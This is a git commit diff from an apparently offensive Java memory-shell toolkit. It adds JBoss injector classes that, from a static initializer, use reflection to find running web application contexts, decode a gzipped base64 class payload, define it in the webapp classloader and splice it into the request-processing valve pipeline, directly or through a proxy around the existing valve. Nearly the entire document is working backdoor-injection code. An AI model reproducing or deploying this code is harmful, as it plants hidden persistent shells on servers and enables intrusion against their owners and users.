feat: support JBossAS ProxyValve shell

2026-09-21 22:50:42 +08:00 · 2025-06-07 13:31:18 +08:00
parent 6b33cfb0fe
commit 0c7dadc4f4
10 changed files with 439 additions and 10 deletions
@@ -0,0 +1,208 @@
+package com.reajason.javaweb.memshell.injector.jboss;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class JbossProxyValveInjector implements InvocationHandler {
+
+    private Object rawValve;
+    private Object proxyValve;
+
+    static {
+        new JbossProxyValveInjector();
+    }
+
+    public JbossProxyValveInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object valve = getShell(context);
+                inject(context, valve);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public JbossProxyValveInjector(Object rawValve, Object proxyValve) {
+        this.rawValve = rawValve;
+        this.proxyValve = proxyValve;
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    @Override
+    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+        if ("invoke".equals(method.getName())) {
+            try {
+                Object request = args[0];
+                Object response = args[1];
+                if (proxyValve.equals(new Object[]{request, response})) {
+                    return null;
+                }
+            } catch (Throwable e) {
+                e.printStackTrace();
+                return method.invoke(rawValve, args);
+            }
+        }
+        return method.invoke(rawValve, args);
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object valve) throws Exception {
+        Object pipeline = invokeMethod(context, "getPipeline", null, null);
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
+        Object rawValve = null;
+        String fieldName = "first";
+        try {
+            rawValve = getFieldValue(pipeline, fieldName);
+        } catch (NoSuchFieldException e) {
+            fieldName = "basic";
+            rawValve = getFieldValue(pipeline, fieldName);
+        }
+        Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new JbossProxyValveInjector(rawValve, valve));
+        setFieldValue(pipeline, fieldName, proxyValve);
+        System.out.println("proxyValve inject successful");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    public static Field getField(Object obj, String name) throws NoSuchFieldException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+    @SuppressWarnings("all")
+    public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
+        Field field = getField(obj, name);
+        field.set(obj, value);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        Field field = getField(obj, name);
+        return field.get(obj);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}
@@ -0,0 +1,177 @@
+package com.reajason.javaweb.memshell.injector.jboss;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class JbossValveInjector {
+
+    static {
+        new JbossValveInjector();
+    }
+
+    public JbossValveInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object valve = getShell(context);
+                inject(context, valve);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Collection<?> values = childrenMap.values();
+                for (Object value : values) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object valve) throws Exception {
+        Object pipeline = invokeMethod(context, "getPipeline", null, null);
+        if (isInjected(pipeline)) {
+            System.out.println("valve already injected");
+            return;
+        }
+        Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
+        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
+        System.out.println("valve injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object pipeline) throws Exception {
+        Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
+        List<Object> valvesList = Arrays.asList(valves);
+        for (Object valve : valvesList) {
+            if (valve.getClass().getName().contains(getClassName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}
@@ -8,8 +8,8 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 import java.lang.reflect.Proxy;
 import java.util.ArrayList;
-import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;

@@ -72,9 +72,9 @@ public class TomcatProxyValveInjector implements InvocationHandler {
        Set<Thread> threads = Thread.getAllStackTraces().keySet();
        for (Thread thread : threads) {
            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
                for (Object value : childrenMap.values()) {
-                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                    contexts.addAll(children.values());
                }
            } else if (thread.getContextClassLoader() != null